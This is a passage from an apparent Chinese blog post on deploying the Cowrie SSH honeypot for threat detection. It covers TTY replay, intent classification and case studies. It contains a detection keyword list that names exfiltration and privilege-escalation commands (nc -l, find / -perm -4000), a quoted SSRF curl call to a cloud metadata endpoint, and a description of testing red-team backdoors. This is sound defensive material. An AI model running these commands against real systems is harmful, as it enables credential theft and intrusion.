headersheaders)这套流程让客户的情报更新周期从“人工研判3天”压缩到“自动入库15分钟”。上周捕获的一个新挖矿木马域名cloudflare-dns[.]xyz在VirusTotal上0检出但我们的MISP平台在捕获后8分钟就向全集团EDR推送了阻断规则。4.3 攻击链路还原用TTY回放重建黑客操作意图Cowrie最被低估的功能是tty回放。每个session生成的.tty文件本质是ANSI转义序列的文本录像。你可以用ttyplay命令本地回放# 下载session.tty文件后 ttyplay var/log/cowrie/tty/20240515/192.168.1.100-42321-20240515-142215.tty但更强大的是解析它。Cowrie的utils/ttystats.py能提取出每条命令的精确执行时间、输入字符数、响应行数。我扩展了这个脚本加入命令意图分类# 命令意图模型基于关键词上下文 INTENT_MAP { recon: [uname, cat /proc/version, lsb_release, ifconfig], priv_esc: [sudo -l, find / -perm -4000, cat /etc/sudoers], persistence: [crontab -e, echo */5 * * * * , systemctl enable], exfil: [scp, rsync, nc -l, python -m http.server] } def classify_intent(command): cmd_clean command.strip().lower().split()[0] for intent, keywords in INTENT_MAP.items(): if cmd_clean in keywords or any(kw in command.lower() for kw in keywords): return intent return unknown运行后你会得到这样的攻击链路报告Session: 192.168.1.100-42321 (2024-05-15 14:22:15) Intent sequence: recon → priv_esc → persistence → exfil Time to first priv_esc: 47 seconds Commands before persistence: 12这种粒度的分析让红队能精准复现攻击者决策路径也让蓝队知道当攻击者执行第7条recon命令时就是该触发EDR进程监控的时刻。经验Cowrie的tty文件默认保存7天但硬盘空间消耗极大单session平均2MB。建议用logrotate按大小轮转/opt/cowrie/var/log/cowrie/tty/**/* { rotate 30 size 100M }5. 超越“陷阱”Cowrie在真实攻防中的四个进阶战场部署Cowrie只是入门真正体现专业度的是你如何把它嵌入现有安全体系解决具体业务问题。我总结了四个经过实战验证的进阶用法每个都对应一个真实客户的痛点5.1 场景一云环境资产测绘盲区补全某客户使用AWS EKS托管K8s集群所有节点通过Security Group限制SSH仅允许跳板机访问。理论上外部IP不可能触达22端口。但Cowrie部署后首周就捕获到23次来自不同国家的SSH连接——这些IP根本不在任何白名单里。排查发现EKS节点的/etc/hosts里有一行169.254.169.254 metadata.ec2.internal而攻击者利用某个Web应用的SSRF漏洞向这个元数据地址发起HTTP请求再通过curl http://169.254.169.254/latest/meta-data/public-keys/获取了节点的SSH公钥。Cowrie捕获的正是他们用私钥尝试登录的过程。我们立刻把Cowrie的src_ip和user_agent字段对接到WAF日志分析平台。当发现同一IP在10分钟内既触发SSRF规则又连接Cowrie 22端口就自动标记为“高可信度横向移动尝试”并冻结该IP在所有云服务中的访问权限。5.2 场景二第三方SDK供应链攻击监测一家IoT设备厂商的固件里集成了某开源SSH库libssh该库存在CVE-2023-38742认证绕过漏洞。厂商修复后想验证是否还有未更新的旧固件在野外被利用。我们在Cowrie里启用了[ssh]模块的debug true并修改kex.py在KEXINIT处理函数中添加日志# 当收到特定畸形KEXINIT包时记录 if bdiffie-hellman-group14-sha1 in data and len(data) 200: log.msg(fPotential CVE-2023-38742 probe from {self.transport.getPeer().host})上线三天捕获到17次该特征包全部来自东南亚某IDC机房。我们反向追踪IP定位到一家提供“智能电表远程管理SaaS”的小公司——他们的固件仍在使用未修复版本。客户据此发起供应链安全审计提前阻断了0day扩散。5.3 场景三内部威胁行为基线建模某银行数据中心要求所有运维操作必须通过Jump Server但审计发现部分员工绕过Jump Server用个人笔记本直连生产数据库服务器SSH端口开放在2222。传统方式只能查last命令但攻击者会history -c清空记录。我们在Jump Server旁部署Cowrie监听2222端口真实数据库SSH服务已迁至2223。当员工用个人电脑连接2222时Cowrie记录下其MAC地址通过arp -a解析、终端类型TERMxterm-256color、常用命令序列如mysql -h db01 -u admin。三个月后我们用这些数据训练了一个LSTM模型对任意新连接的command_sequence打分得分0.85即判定为“疑似绕过Jump Server行为”。上线首月模型准确识别出8起违规操作其中3起涉及离职员工账号复用——这些账号在IAM系统中已被禁用但SSH密钥仍有效。5.4 场景四红队武器库效果验证红队常使用定制化SSH后门如sshd_mod但无法预知目标环境的glibc版本、SELinux策略是否兼容。我们把Cowrie改造成“兼容性沙箱”在Cowrie的fs.json中按目标环境CentOS 7.9 / Ubuntu 20.04 / Debian 11预置对应的/lib64/ld-linux-x86-64.so.2符号表修改shell.py当检测到./backdoor命令时不执行真实二进制而是加载预设的glibc_version.json返回GLIBC_2.17 not found等错误红队上传后门后Cowrie自动返回兼容性报告“您的后门需GLIBC_2.28目标环境最高支持GLIBC_2.17”。这避免了红队在真实环境中反复试错把武器适配周期从3天缩短到15分钟。这些案例共同指向一个事实Cowrie的价值不在于“捕获多少攻击”而在于“让每次攻击都成为可复用的知识资产”。它把模糊的“有人在扫端口”变成精确的“攻击者正在测试CVE-2023-XXXX的利用链”再变成可执行的“在WAF上阻断/api/v1/exec?cmd参数”。我在实际使用中发现最有效的Cowrie部署从来不是放在防火墙后面当摆设而是嵌在业务流量必经之路上——比如API网关的下游、CDN的回源链路、甚至开发测试环境的入口。因为真正的攻击永远发生在你认为“最不可能”的地方。
相关文章
Java NIO.2 异步基石：AsynchronousChannel 接口契约与并发安全深度剖析
前言：异步 I/O 的“宪法级”契约 在 Java NIO.2（AIO）的宏大架构中，AsynchronousChannel 是所有异步通道的根接口。它不定义任何具体的读写方法，也不关心网络拓扑或文件偏移——它只做一件事：确立异步 I/O 操…
UE5.3 Live Link Face表情失灵的5个隐形开关
1. 这不是Live Link Face的问题，而是你没看清它真正依赖的5个“隐形开关”刚在UE5.3里连上iPhone的Face Capture，Live Link面板上绿灯亮得刺眼，Actor绑定也一气呵成——可一动眉毛，虚拟人脸上连个褶子都不起。我盯着视口里那张面无…
揭秘Google Veo与Sora、Pika、Kling的底层视频表征差异（基于LLM-VidBench v3.1基准测试的217项指标横向对比）
更多请点击： https://kaifayun.com 第一章：揭秘Google Veo与Sora、Pika、Kling的底层视频表征差异（基于LLM-VidBench v3.1基准测试的217项指标横向对比） 视频生成模型的底层表征能力直接决定其时空一致性、物理合理性与语义保真度…
技术栈可视化困境与Skill Icons的优雅解决方案
技术栈可视化困境与Skill Icons的优雅解决方案 【免费下载链接】skill-icons Showcase your skills on your Github readme or resum with ease ✨ 项目地址: https://gitcode.com/gh_mirrors/sk/skill-icons 在技术社区中，开发者如何高效展示个人技能栈是一…
你的手机为什么越用越慢？SD Maid 2/SE告诉你答案
你的手机为什么越用越慢？SD Maid 2/SE告诉你答案 【免费下载链接】sdmaid-se SD Maid 2/SE is Androids most thorough cleaning tool. 项目地址: https://gitcode.com/gh_mirrors/sd/sdmaid-se 你是否注意到，随着手机使用时间增长，原…
如何快速掌握Qwen图像编辑：新手的终极实战指南
如何快速掌握Qwen图像编辑：新手的终极实战指南 【免费下载链接】Qwen-Image-Edit-Rapid-AIO 项目地址: https://ai.gitcode.com/hf_mirrors/Phr00t/Qwen-Image-Edit-Rapid-AIO Qwen-Image-Edit-Rapid-AIO是一个革命性的AI图像编辑工具，通过架构优…
FPGA量化加速强化学习：QForce-RL架构解析
1. QForce-RL：当强化学习遇上FPGA量化加速在自动驾驶汽车做出紧急避障决策的瞬间，或在工业机器人实时调整抓取力度的毫秒之间，传统32位浮点计算的硬件开销往往成为实时性瓶颈。我们团队在开发足式机器人控制模块时，曾因FPGA资源耗…
云成本报告：实现云资源消耗的透明化管理
云成本报告：实现云资源消耗的透明化管理 一、云成本报告概述 1.1 云成本报告的定义 云成本报告是指对云计算资源消耗进行记录、分析和展示的过程。它帮助企业了解云资源的使用情况，识别成本驱动因素，优化资源配置，实现成本透明化管…
StyleKit社区贡献指南：如何为开源样式框架添加新功能
StyleKit社区贡献指南：如何为开源样式框架添加新功能 【免费下载链接】StyleKit A powerful & easy to use styling framework written in Swift 项目地址: https://gitcode.com/gh_mirrors/st/StyleKit StyleKit是一个功能强大且易于使用的Swift样式框架…
Go语言SQLite轻量级数据库应用
Go语言SQLite轻量级数据库应用 引言 SQLite是一款轻量级的嵌入式数据库，无需独立服务进程，非常适合单机应用、移动端应用和开发测试环境。Go语言通过database/sql包配合go-sqlite3驱动可以方便地操作SQLite数据库。本文将深入探讨Go语言中SQLite的使用技…
【前端无障碍】屏幕阅读器兼容性：确保视障用户的良好体验
【前端无障碍】屏幕阅读器兼容性：确保视障用户的良好体验 前言 大家好，我是cannonmonster01！今天咱们来聊聊屏幕阅读器兼容性这个话题。想象一下，一个视障用户打开你的网站，通过屏幕阅读器来浏览内容。如果你的网站没有…
2026年横评10款降AI率软件:只选真正管用的那一款！
随着AI写作工具的广泛应用，论文写作和内容创作效率得到了显著提升，许多学生和职场人士都开始依赖这些工具来完成繁重的文字任务。然而，随着各大高校、期刊平台对AIGC内容检测技术的不断升级，AI生成内容的痕迹越来越容易被识别。不…
施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录
更多请点击： https://codechina.net 第一章：施工现场安全事故预警准确率达94.6%？——解密某央企AI Agent边缘计算部署架构与3个月落地实录 在华北某大型地铁盾构施工现场，一套轻量化AI Agent系统于2024年Q2完成全栈部署ÿ…
附录 B：术语表
本术语表面向“从 MM 到 HMM”专栏阅读过程中的快速查阅。它不是内核 API 手册，而是把文章中反复出现的概念放到同一张地图上：先给出直观含义，再说明它在 Linux MM/HMM 语境里的作用。建议阅读方式： 初读专栏时，把它当…
Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表·行业首曝）
更多请点击： https://kaifayun.com 第一章：Midjourney渐变美学的神经渲染原理（附RGB-HSV-LCH三空间渐变映射对照表行业首曝） Midjourney 的渐变美学并非传统插值实现，而是由其隐式神经渲染器（Implicit Neu…
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案 【免费下载链接】MPC-BE MPC-BE – универсальный проигрыватель аудио и видеофайлов для операционной системы Windows. 项目地址:…
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南 【免费下载链接】STL-Volume-Model-Calculator STL Volume Model Calculator Python 项目地址: https://gitcode.com/gh_mirrors/st/STL-Volume-Model-Calculator 你是否曾经为3D打印项目…
通过Taotoken CLI工具一键配置团队开发环境与模型密钥
通过Taotoken CLI工具一键配置团队开发环境与模型密钥 1. CLI工具安装与基本使用 Taotoken提供的CLI工具可通过npm全局安装或直接使用npx运行。对于需要频繁使用CLI的团队，推荐全局安装： npm install -g taotoken/taotoken对于临时使用或项目级配置&a…